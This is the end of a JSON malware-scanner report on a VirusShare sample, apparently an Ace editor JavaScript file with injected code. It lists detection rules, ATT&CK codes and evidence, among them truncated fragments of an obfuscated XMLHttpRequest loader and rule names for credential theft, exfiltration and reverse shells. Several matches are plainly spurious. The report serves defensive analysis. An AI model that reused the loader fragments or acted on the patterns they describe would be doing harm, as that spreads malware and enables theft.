          [
            10474,
            ", // single line\n                regex : "
          ],
          [
            10475,
            ", // single line\n                regex : "
          ],
          [
            10555,
            ",\n                next : "
          ]
        ],
        "sz": 67598,
        "ts": [
          {
            "a": "T1195.002",
            "c": 0.800000011920929,
            "d": "Regex component marker",
            "e": [
              "credential"
            ],
            "i": "objectives/supply-chain/impersonation/core-module::fs-write-sensitive--rx-3",
            "l": 1
          },
          {
            "a": "T1071.001",
            "c": 0.75,
            "d": "XMLHttpRequest network client creation",
            "e": [
              "new XMLHttpRequest()"
            ],
            "i": "micro-behaviors/communications/http/request/client::xmlhttprequest-new",
            "l": 3,
            "m": "C0002"
          },
          {
            "c": 1.0,
            "d": "Regex component marker",
            "e": [
              "DocCommentHighlightRules = DocCommentHighlightRules;"
            ],
            "i": "micro-behaviors/process/create/shell/injection::iot-param-injection-cond-2--inline-3976",
            "l": 1
          },
          {
            "a": "T1204.001",
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "video"
            ],
            "i": "objectives/execution/lure/video-meeting::meeting-device-permission-lure--rx-8",
            "l": 1
          },
          {
            "c": 0.30000001192092896,
            "d": "token keyword",
            "e": [
              "token"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::token",
            "l": 1
          },
          {
            "c": 0.44999998807907104,
            "d": "TOKEN credential label",
            "e": [
              "TOKEN"
            ],
            "i": "micro-behaviors/data/text/keywords/credential::token-upper",
            "l": 1
          },
          {
            "a": "T1552.001",
            "c": 0.8199999928474426,
            "d": "Regex component marker",
            "e": [
              "match"
            ],
            "i": "objectives/credential-access/env/secrets/filtered-access::env-secret-filter-core--rx-8",
            "l": 1
          },
          {
            "c": 0.9200000166893005,
            "d": "\"lica\" fragment of split Shell.Application",
            "e": [
              "lica"
            ],
            "i": "objectives/execution/interpreter/scripting/host::shell-application-split-join--rx-5",
            "l": 1
          },
          {
            "a": "T1195.002",
            "c": 0.8500000238418579,
            "d": "Regex component marker",
            "e": [
              "session"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::global-dunder-token--rx-11",
            "l": 1
          },
          {
            "a": "T1204.001",
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "enable"
            ],
            "i": "objectives/execution/lure/video-meeting::meeting-device-permission-lure--rx-5",
            "l": 1
          },
          {
            "a": "T1059.006",
            "c": 0.800000011920929,
            "d": "Loader-style launch status message",
            "e": [
              "LaunchFailed"
            ],
            "i": "objectives/command-and-control/dropper/lifecycle::launch-status-msg",
            "l": 1,
            "m": "B0024"
          },
          {
            "c": 0.9399999976158142,
            "d": "Regex component marker",
            "e": [
              "Flags"
            ],
            "i": "metadata/package/testing/harness/v8::v8-mjsunit-flags-assert-file--rx-12",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "locate file-search command token",
            "e": [
              "locate"
            ],
            "i": "micro-behaviors/fs/search::locate-token",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "SaveToFile string fragment (veTo)",
            "e": [
              "veTo"
            ],
            "i": "objectives/execution/interpreter/script/wsh-fragments::save-to-file-fragment-veto",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.6000000238418579,
            "d": "shift keyword in string-table decoder context",
            "e": [
              "shift"
            ],
            "i": "objectives/anti-static/obfuscation/tools/js-obfuscator::shift-keyword",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "plugin"
            ],
            "i": "objectives/supply-chain/hidden-payload/extensions/browser::management-id-comparison--rx-10",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "while(!![]) infinite loop pattern",
            "e": [
              "while(!![])"
            ],
            "i": "objectives/anti-static/obfuscation/control-flow/retry::while-true-array-literal",
            "l": 1
          },
          {
            "a": "T1614",
            "c": 0.6000000238418579,
            "d": "Country code ID token",
            "e": [
              "|ID("
            ],
            "i": "objectives/anti-analysis/geofencing/region/cluster::country-code-id",
            "l": 1,
            "m": "B0007.003"
          },
          {
            "a": "T1195.002, T1059.007",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              "ignore"
            ],
            "i": "objectives/supply-chain/hidden-payload/runtime::detached-hidden-node-spawn--rx-3",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "\"store\" doc cue (storage instruction)",
            "e": [
              "store"
            ],
            "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-6--inline-11769",
            "l": 1
          },
          {
            "a": "T1552.001,T1082,T1041",
            "c": 0.9399999976158142,
            "d": "Regex component marker",
            "e": [
              "error"
            ],
            "i": "objectives/supply-chain/recon-exfil/npm::console-output-silenced--rx-3",
            "l": 1
          },
          {
            "a": "T1071",
            "c": 0.800000011920929,
            "d": "Random number generation function call",
            "e": [
              "rand()"
            ],
            "i": "micro-behaviors/communications/ip/spoof::bitwise-ip-rand-source",
            "l": 2,
            "m": "C0001"
          },
          {
            "c": 1.0,
            "d": "JavaScript length property",
            "e": [
              "length"
            ],
            "i": "metadata/lang/scripted::length-prop",
            "l": 1
          },
          {
            "a": "T1105",
            "c": 0.8500000238418579,
            "d": "ClickFix copy-paste action word",
            "e": [
              "copy"
            ],
            "i": "objectives/command-and-control/dropper/execution/browser::clickfix-lure-action-word",
            "l": 1,
            "m": "B0024"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Last line is over 1000 chars",
            "e": [
              "text.last_line_length = 1819.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::last-line-over-1000",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1195.002",
            "c": 0.8500000238418579,
            "d": "Regex component marker",
            "e": [
              "session"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::dunder-token-assignment--rx-19",
            "l": 1
          },
          {
            "a": "T1027.003",
            "c": 0.8999999761581421,
            "d": "Node.js require call in non-code file",
            "e": [
              "require("
            ],
            "i": "objectives/anti-static/obfuscation/payload/container::js-require-in-noncode",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8799999952316284,
            "d": "Indirect bracketed WScript command invocation",
            "e": [
              "D[Y(0x7c)](U,function(E)"
            ],
            "i": "micro-behaviors/process/create/shell/wsh::wscript-shell-run-indirect",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Tiny SaveToFile fragment (variant 2b)",
            "e": [
              "ile"
            ],
            "i": "objectives/execution/interpreter/script/wsh-fragments::savetofile-fragment-tiny-2b",
            "l": 1
          },
          {
            "a": "T1195.002",
            "c": 0.8500000238418579,
            "d": "Regex component marker",
            "e": [
              "global"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::global-dunder-token--rx-15",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "DOM or CSS size property",
            "e": [
              "width"
            ],
            "i": "micro-behaviors/ui/window/manage/dom::size-prop",
            "l": 1
          },
          {
            "a": "T1552.001, T1041",
            "c": 0.9399999976158142,
            "d": "Regex component marker",
            "e": [
              "search"
            ],
            "i": "objectives/supply-chain/recon-exfil/ai-cli::llm-cli-inventory-file-prompt--rx-23",
            "l": 1,
            "m": "E1552"
          },
          {
            "c": 0.9599999785423279,
            "d": "Regex component marker",
            "e": [
              "Flags"
            ],
            "i": "metadata/package/testing/harness/v8::v8-mjsunit-native-test-file--rx-7",
            "l": 1
          },
          {
            "a": "T1614",
            "c": 0.6000000238418579,
            "d": "Country code IN token",
            "e": [
              "|IN)"
            ],
            "i": "objectives/anti-analysis/geofencing/region/cluster::country-code-in",
            "l": 1,
            "m": "B0007.003"
          },
          {
            "a": "T1552.001, T1041",
            "c": 0.9399999976158142,
            "d": "private keyword (case-insensitive)",
            "e": [
              "private"
            ],
            "i": "objectives/supply-chain/recon-exfil/ai-cli::llm-cli-secret-search-prompt--rx-7",
            "l": 1,
            "m": "E1552"
          },
          {
            "c": 1.0,
            "d": "Regex component marker",
            "e": [
              "gate"
            ],
            "i": "well-known/malware/stealer/needle::needle-panel-marker--rx-10",
            "l": 1
          },
          {
            "a": "T1048.003",
            "c": 0.949999988079071,
            "d": "Regex component marker",
            "e": [
              "live"
            ],
            "i": "objectives/supply-chain/recon-exfil/dns::dns-lookup-with-canary-domain--rx-6",
            "l": 1,
            "m": "E1041"
          },
          {
            "a": "T1195.002",
            "c": 0.8500000238418579,
            "d": "Regex component marker",
            "e": [
              "session"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::dunder-token-var-decl--rx-3",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Large import graph base64 context",
            "e": [
              "imports.unique_modules = 75.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/string-blob::js-base64-candidate-large-import-graph",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 20290.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "a": "T1195.002",
            "c": 0.8500000238418579,
            "d": "Regex component marker",
            "e": [
              "token"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::dunder-token-var-decl--rx-8",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "Pasteboard string",
            "e": [
              "pasteboard"
            ],
            "i": "objectives/collection/clipboard/capture::str-pasteboard",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "while(!![]) try/parseInt decoder loop",
            "e": [
              "while(!![]){try{var O=parseInt("
            ],
            "i": "objectives/anti-static/obfuscation/tools/js-obfuscator::parseint-decoder-loop",
            "l": 4,
            "m": "B0032"
          },
          {
            "c": 0.6000000238418579,
            "d": "use strict directive string",
            "e": [
              "use strict"
            ],
            "i": "metadata/package/tooling::use-strict-quote",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "browser"
            ],
            "i": "objectives/supply-chain/hidden-payload/extensions/browser::management-id-comparison--rx-7",
            "l": 1
          },
          {
            "a": "T1195.002",
            "c": 1.0,
            "d": "Buffer keyword",
            "e": [
              "(?:\\\\b)(NS(?:R(?:u(?:nLoop|ler(?:Marker|View))|e(?:sponder|cursiveLock|lativeSpecifier)|an(?:domSpecifier|geSpecifier))|G(?:etCo",
              "b)(NS(?:R(?:u(?:nLoop|ler(?:Marker|View))|e(?:sponder|cursiveLock|lativeSpecifier)|an(?:domSpecifier|geSpecifier))|G(?:etCommand"
            ],
            "i": "objectives/supply-chain/hidden-payload/staging::buffer-keyword",
            "l": 1
          },
          {
            "a": "T1204.001",
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "permission"
            ],
            "i": "objectives/execution/lure/video-meeting::meeting-device-permission-lure--rx-2",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "JavaScript undefined literal",
            "e": [
              "undefined"
            ],
            "i": "metadata/lang/scripted::undefined-literal",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "Network primitive in flatted-shaped file",
            "e": [
              "XMLHttpRequest"
            ],
            "i": "well-known/lib/flatted::flatted-tamper-network",
            "l": 1
          },
          {
            "a": "T1195.002",
            "c": 0.8500000238418579,
            "d": "Regex component marker",
            "e": [
              "token"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::dunder-token-assignment--rx-24",
            "l": 1
          },
          {
            "a": "T1195.002",
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "local"
            ],
            "i": "objectives/supply-chain/hidden-payload/extensions/browser::extension-storage-proxy-ops--rx-15",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "Client word",
            "e": [
              "Client"
            ],
            "i": "objectives/supply-chain/trojanized/library/framework::client-word",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Sequential source identifier names",
            "e": [
              "identifiers.sequential_names = 26.00"
            ],
            "i": "metadata/file/text/profile::sequential-identifiers",
            "l": 2
          },
          {
            "a": "T1027",
            "c": 0.75,
            "d": "Many no-param functions",
            "e": [
              "functions.no_params_count = 34.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/functions::many-no-param-functions",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1059",
            "c": 0.800000011920929,
            "d": "child_process exec reference",
            "e": [
              "exec("
            ],
            "i": "objectives/command-and-control/reverse-shell/socket::exec-function",
            "l": 1
          },
          {
            "a": "T1105",
            "c": 0.8500000238418579,
            "d": "macOS shell interpreter",
            "e": [
              "sh"
            ],
            "i": "objectives/command-and-control/dropper/execution/browser::macos-shell-interpreter",
            "l": 1,
            "m": "B0024"
          },
          {
            "a": "T1204.001",
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "allow"
            ],
            "i": "objectives/execution/lure/video-meeting::meeting-device-permission-lure--rx-6",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Universal Module Definition (UMD) wrapper",
            "e": [
              "typeof exports == \"object\""
            ],
            "i": "metadata/library/structure::js-umd-wrapper",
            "l": 2
          },
          {
            "a": "T1566.002",
            "c": 0.8399999737739563,
            "d": "Regex component marker",
            "e": [
              "invalid"
            ],
            "i": "objectives/credential-access/phishing/credential::password-retry-lure--rx-8",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1105",
            "c": 0.800000011920929,
            "d": "Shell print command",
            "e": [
              "printf"
            ],
            "i": "objectives/command-and-control/dropper/execution/browser::shell-print-command",
            "l": 1,
            "m": "B0024"
          },
          {
            "c": 0.8399999737739563,
            "d": "\"session\" string-literal token",
            "e": [
              "b)(NS(?:Menu(?:Did(?:RemoveItem|SendAction|ChangeItem|EndTracking|AddItem)|WillSendAction)|S(?:ystemColorsDidChange|plitView(?:D",
              "b)(NS(?:R(?:ect(?:Edge)?|ange)|G(?:lyph(?:Relation|LayoutMode)?|radientType)|M(?:odalSession|a(?:trixMode|p(?:Table|Enumerator))",
              "(?:\\\\b)(NS(?:R(?:ect(?:Edge)?|ange)|G(?:lyph(?:Relation|LayoutMode)?|radientType)|M(?:odalSession|a(?:trixMode|p(?:Table|Enumera",
              "(?:\\\\b)(NS(?:Menu(?:Did(?:RemoveItem|SendAction|ChangeItem|EndTracking|AddItem)|WillSendAction)|S(?:ystemColorsDidChange|plitVie"
            ],
            "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-8",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "\"cookie\" string-literal token",
            "e": [
              "b)(NS(?:R(?:u(?:nLoop|ler(?:Marker|View))|e(?:sponder|cursiveLock|lativeSpecifier)|an(?:domSpecifier|geSpecifier))|G(?:etCommand",
              "(?:\\\\b)(NS(?:R(?:u(?:nLoop|ler(?:Marker|View))|e(?:sponder|cursiveLock|lativeSpecifier)|an(?:domSpecifier|geSpecifier))|G(?:etCo"
            ],
            "i": "micro-behaviors/data/text/llm/action::llm-send-action--rx-9",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "Function constructor keyword",
            "e": [
              "Function"
            ],
            "i": "micro-behaviors/data/source/syntax/keyword::js-keyword-function-constructor",
            "l": 2
          },
          {
            "c": 0.699999988079071,
            "d": "\"directory\" path-target noun",
            "e": [
              "directory"
            ],
            "i": "micro-behaviors/data/text/llm/action::llm-path-noun-directory",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8399999737739563,
            "d": "Decoded property function alias",
            "e": [
              "var P=y[O]"
            ],
            "i": "objectives/supply-chain/hidden-payload/trojan::decoded-property-function-alias",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.30000001192092896,
            "d": "for loop (AST)",
            "e": [
              "for (var r in cRules) {\n        if (this.$rules[r]) {\n            if (this.$rules[r].push)\n         ..."
            ],
            "i": "micro-behaviors/data/control-flow/analysis::for-loop-ast",
            "l": 2
          },
          {
            "d": "finally handler keyword",
            "e": [
              "finally"
            ],
            "i": "metadata/package/error-handling::finally-keyword",
            "l": 2
          },
          {
            "c": 0.800000011920929,
            "d": "Regex component marker",
            "e": [
              "FromString"
            ],
            "i": "micro-behaviors/data/text/crypto::base58-or-cid-conversion--rx-1",
            "l": 1
          },
          {
            "c": 1.0,
            "d": "CommonJS require symbol",
            "e": [
              "require"
            ],
            "i": "metadata/lang/scripted::require-symbol",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "password/token/api_key field keyword",
            "e": [
              "token"
            ],
            "i": "micro-behaviors/data/text/keywords/credential::credential-field",
            "l": 1
          },
          {
            "c": 0.30000001192092896,
            "d": "for loop (content)",
            "e": [
              " for ("
            ],
            "i": "micro-behaviors/data/control-flow/analysis::for-loop-content",
            "l": 2
          },
          {
            "c": 0.8199999928474426,
            "d": "Locale profile field",
            "e": [
              "locale"
            ],
            "i": "objectives/discovery/system/profile::host-profile-locale-field",
            "l": 1
          },
          {
            "c": 0.8399999737739563,
            "d": "\"registry\" doc-context token",
            "e": [
              "(?:\\\\b)(NS(?:R(?:u(?:nLoop|ler(?:Marker|View))|e(?:sponder|cursiveLock|lativeSpecifier)|an(?:domSpecifier|geSpecifier))|G(?:etCo",
              "b)(NS(?:Menu(?:Did(?:RemoveItem|SendAction|ChangeItem|EndTracking|AddItem)|WillSendAction)|S(?:ystemColorsDidChange|plitView(?:D",
              "b)(NS(?:R(?:u(?:nLoop|ler(?:Marker|View))|e(?:sponder|cursiveLock|lativeSpecifier)|an(?:domSpecifier|geSpecifier))|G(?:etCommand",
              "(?:\\\\b)(NS(?:Menu(?:Did(?:RemoveItem|SendAction|ChangeItem|EndTracking|AddItem)|WillSendAction)|S(?:ystemColorsDidChange|plitVie"
            ],
            "i": "micro-behaviors/data/text/llm/action::llm-send-action-cond-4--inline-11751",
            "l": 1
          },
          {
            "c": 0.550000011920929,
            "d": "Array element swap pattern",
            "e": [
              "var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)"
            ],
            "i": "objectives/anti-static/obfuscation/string/encoding::js-array-swap",
            "l": 1,
            "m": "B0032"
          },
          {
            "d": "catch handler keyword",
            "e": [
              "catch"
            ],
            "i": "metadata/package/error-handling::catch-keyword",
            "l": 2
          },
          {
            "c": 0.9200000166893005,
            "d": "\"crip\" fragment of split WScript.Shell",
            "e": [
              "crip"
            ],
            "i": "objectives/execution/interpreter/scripting/host::wscript-shell-split-join--rx-2",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.6000000238418579,
            "d": "push keyword in string-table decoder context",
            "e": [
              "push"
            ],
            "i": "objectives/anti-static/obfuscation/tools/js-obfuscator::push-keyword",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1552.001, T1041",
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "search"
            ],
            "i": "objectives/supply-chain/recon-exfil/ai-cli::llm-inventory-file-instructions--rx-31",
            "l": 1,
            "m": "E1552"
          },
          {
            "a": "T1552.001",
            "c": 0.8199999928474426,
            "d": "Regex component marker",
            "e": [
              "match"
            ],
            "i": "objectives/credential-access/env/secrets/filtered-access::env-secret-filter-infra--rx-18",
            "l": 1
          },
          {
            "a": "T1090.004",
            "c": 0.9399999976158142,
            "d": "Regex component marker",
            "e": [
              "indows"
            ],
            "i": "objectives/command-and-control/infrastructure/dns-pin::js-hosts-file-write--rx-5",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 30 or more lines",
            "e": [
              "text.total_lines = 740.00"
            ],
            "i": "metadata/file/text/metrics::file-has-30-plus-lines",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 1.0,
            "d": "Many unique import modules",
            "e": [
              "imports.unique_modules = 75.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::imports-unique-modules-50",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1036.008",
            "c": 0.699999988079071,
            "d": "JS-syntax marker (var/const/require)",
            "e": [
              "var oop = require("
            ],
            "i": "objectives/evasion/masquerade/extension/shebang::js-syntax-marker",
            "l": 1,
            "m": "F0008"
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "while(!![]) with space infinite loop",
            "e": [
              "while(!![])"
            ],
            "i": "objectives/anti-static/obfuscation/tools/js-obfuscator::while-not-space-zero",
            "l": 4
          },
          {
            "c": 1.0,
            "d": "Regex component marker",
            "e": [
              "panel"
            ],
            "i": "well-known/malware/stealer/needle::needle-panel-marker--rx-9",
            "l": 1
          },
          {
            "a": "T1059.007",
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "send"
            ],
            "i": "objectives/command-and-control/remote-command/protocol::websocket-host-env-send--rx-12",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "while(!![]) infinite loop pattern",
            "e": [
              "while(!![])"
            ],
            "i": "objectives/anti-static/obfuscation/tools/js-obfuscator::while-not-not-array",
            "l": 3
          },
          {
            "a": "T1195.002",
            "c": 0.800000011920929,
            "d": "References JavaScript export boundary",
            "e": [
              "module.exports"
            ],
            "i": "objectives/supply-chain/trojanized/app/config-injection::js-export-boundary",
            "l": 1
          },
          {
            "a": "T1195.002",
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "sync"
            ],
            "i": "objectives/supply-chain/hidden-payload/extensions/browser::extension-storage-proxy-ops--rx-16",
            "l": 1
          },
          {
            "a": "T1552.001",
            "c": 0.8199999928474426,
            "d": "Regex component marker",
            "e": [
              "match"
            ],
            "i": "objectives/credential-access/env/secrets/filtered-access::env-secret-filter-data--rx-25",
            "l": 1
          },
          {
            "a": "T1056",
            "c": 0.8999999761581421,
            "d": "Regex component marker",
            "e": [
              "document"
            ],
            "i": "objectives/credential-access/email/webmail/hidden-autofill::username-password-read--rx-5",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8500000238418579,
            "d": "Multiple long lines (\u003e1000 chars)",
            "e": [
              "text.lines_over_1000 = 9.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::very-long-lines",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.6000000238418579,
            "d": "CommonJS exports.property pattern",
            "e": [
              "\nexports.DocCommentHighlightRules ="
            ],
            "i": "metadata/package/fields/exports::cjs-exports-pattern",
            "l": 3
          },
          {
            "a": "T1082",
            "c": 0.6000000238418579,
            "d": "Windows platform detection marker",
            "e": [
              "(?:\\\\b)(NS(?:R(?:ound(?:DownToMultipleOfPageSize|UpToMultipleOfPageSize)|un(?:CriticalAlertPanel(?:RelativeToWindow)?|Informatio",
              "b)(NS(?:R(?:ound(?:DownToMultipleOfPageSize|UpToMultipleOfPageSize)|un(?:CriticalAlertPanel(?:RelativeToWindow)?|InformationalAl"
            ],
            "i": "objectives/discovery/system/fingerprint/os::os-check-windows",
            "l": 2,
            "m": "B0012"
          },
          {
            "c": 0.800000011920929,
            "d": "ExpandEnvironmentStrings fragment (xpandE)",
            "e": [
              "xpandE"
            ],
            "i": "objectives/execution/interpreter/script/wsh-fragments::expand-env-fragment-1",
            "l": 3
          },
          {
            "d": "Unarchive operation",
            "e": [
              "Unarchive"
            ],
            "i": "objectives/collection/archive/compress::unarchive",
            "l": 3
          },
          {
            "c": 1.0,
            "d": "Detects retry loop wrapping try-catch (while loop)",
            "e": [
              "while(!![]){try{"
            ],
            "i": "objectives/anti-static/obfuscation/control-flow/retry::retry-loop-while",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "File has 20k character line",
            "e": [
              "text.max_line_length = 20290.00"
            ],
            "i": "objectives/anti-static/obfuscation/string/reconstruct::max-line-length-20000",
            "l": 1
          },
          {
            "a": "T1552.001",
            "c": 0.8199999928474426,
            "d": "Regex component marker",
            "e": [
              "TOKEN"
            ],
            "i": "objectives/credential-access/env/secrets/filtered-access::env-secret-filter-core--rx-9",
            "l": 1
          },
          {
            "c": 0.699999988079071,
            "d": "Try/catch error handling patterns",
            "e": [
              "finally",
              "catch"
            ],
            "i": "metadata/package/quality::try-catch-handling",
            "l": 2
          },
          {
            "a": "T1027.002",
            "c": 0.9200000166893005,
            "d": "Infinite loop decoder with parseInt + push/shift keywords",
            "e": [
              "shift",
              "while(!![]){try{var O=parseInt(",
              "push",
              "while(!![])"
            ],
            "i": "objectives/anti-static/obfuscation/tools/js-obfuscator::decoder-loop-keyword-triad",
            "l": 4,
            "m": "B0032"
          },
          {
            "c": 1.0,
            "d": "javascript code embedded in string",
            "e": [
              "Detected javascript at offset 0x2c45",
              "Detected javascript at offset 0x2c44",
              "Detected javascript at offset 0xfdd6",
              "Detected javascript at offset 0x0",
              "Detected javascript at offset 0xfdd5"
            ],
            "i": "metadata/lang/embedded::javascript",
            "l": 2
          },
          {
            "c": 0.699999988079071,
            "d": "Small file under 5KB",
            "e": [
              "VirusShare_e6093a18829f5b95c5194b0a33a36ba8##plain@0x2c44",
              "VirusShare_e6093a18829f5b95c5194b0a33a36ba8##plain@0x2c45",
              "VirusShare_e6093a18829f5b95c5194b0a33a36ba8##plain@0xfdd6",
              "VirusShare_e6093a18829f5b95c5194b0a33a36ba8##plain@0xfdd5"
            ],
            "i": "objectives/supply-chain/metadata-anomaly/package/npm::small-file-5k",
            "l": 1
          },
          {
            "a": "T1059",
            "c": 0.800000011920929,
            "d": "Java Runtime exec launches command",
            "e": [
              "exec"
            ],
            "i": "micro-behaviors/process/create/spawn::java-exec-ref",
            "l": 3,
            "m": "E1203"
          },
          {
            "a": "T1485",
            "c": 0.8600000143051147,
            "d": "Android file delete method string",
            "e": [
              "delete"
            ],
            "i": "objectives/impact/wipe/disk/mass-delete::android-file-delete-method",
            "l": 1
          },
          {
            "c": 0.8999999761581421,
            "d": "Decoded unicode-escape content",
            "e": [
              "\u003cbinary data\u003e \u003cunicode-escape\u003e"
            ],
            "i": "metadata/encoded-payload/unicode-escape",
            "l": 2
          }
        ],
        "sha": "e4f5bd17f4f8b2f37dd902d7ea9d4aa478f65a5a3b7c0500c8e2703021cb256b",
        "path": "/data/samples/bad/datasets/various/VirusShare/VirusShare_e6093a18829f5b95c5194b0a33a36ba8",
        "type": "kotlin"
      }
    ],
    "tv": "1f252"
  }
}